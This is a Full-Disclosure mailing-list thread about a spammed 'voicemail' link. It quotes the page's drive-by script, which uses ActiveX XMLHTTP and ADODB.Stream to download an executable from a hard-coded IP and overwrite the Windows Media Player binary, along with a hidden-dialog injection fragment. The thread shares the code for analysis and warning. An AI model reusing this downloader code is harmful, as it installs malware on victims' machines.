Re: [Full-Disclosure] spamming trojan?

I used PE Explorer.

Looks the june4.exe is some kind of spyware. It reference to another site "cjdra.com", possibly uploading user information there.

I just started learning assembly, please pardon my lack of knowledge on reverse engineering.

Received a spam this morning claiming I have a voicemail with the link
(warning do not click the link)

http:-//www-1voicemailbox-net/voicemail/ (dashes added by me)

which brings up a frames based page with one of the frames containing this






function InjectedDuringRedirection(){

showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialo
gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT

Anyone want to try and analyze what this thing is? It was spammed to about
30 addresses here this morning.

Here's the contents:

var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "http://219.234.95.124/vbox/w_e_d.exe",0);
x.Send(); 

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";

so whatever w_e_d.exe is...
